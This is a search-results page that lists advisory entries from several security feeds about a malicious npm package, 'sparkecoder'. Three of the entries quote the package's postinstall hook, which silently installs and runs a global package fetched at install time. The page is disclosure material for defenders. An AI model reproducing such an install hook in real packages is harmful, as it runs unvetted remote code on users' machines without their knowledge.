Lucene search
+L

4 matches found

Github Security Blog
Github Security Blog
•added 2026/07/27 11:00 p.m.•2 views

Malicious code in sparkecoder (npm)

Source: amazon-inspector d4e17b053b29d371301e49a703b1b6d2fba5631df4bf7b6926503a6b8bb82257 package.json declares a postinstall hook: "npm install -g agent-browser 2/dev/null || true; agent-browser install 2/dev/null || true". On npm install sparkecoder, this fetches whatever the current 'latest'...

6.2AI score
SaveExploits0References3Affected Software1
Snyk
Snyk
•added 2026/07/27 11:00 p.m.•20 views

Malicious Package

Overview sparkecoder is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package authorshi...

9.8CVSS5.5AI score
SaveExploits0References2
osv_mal
osv_mal
•added 2026/05/21 5:44 a.m.•28 views

MAL-2026-4673 Malicious code in sparkecoder (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d4e17b053b29d371301e49a703b1b6d2fba5631df4bf7b6926503a6b8bb82257 package.json declares a postinstall hook: "npm install -g agent-browser 2/dev/null || true; agent-browser install 2/dev/null || true". On npm install...

6AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
•added 2026/05/21 5:44 a.m.•30 views

Malicious code in sparkecoder (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d4e17b053b29d371301e49a703b1b6d2fba5631df4bf7b6926503a6b8bb82257 package.json declares a postinstall hook: "npm install -g agent-browser 2/dev/null || true; agent-browser install 2/dev/null || true". On npm install...

6AI score
SaveExploits0References1
Rows per page
Query Builder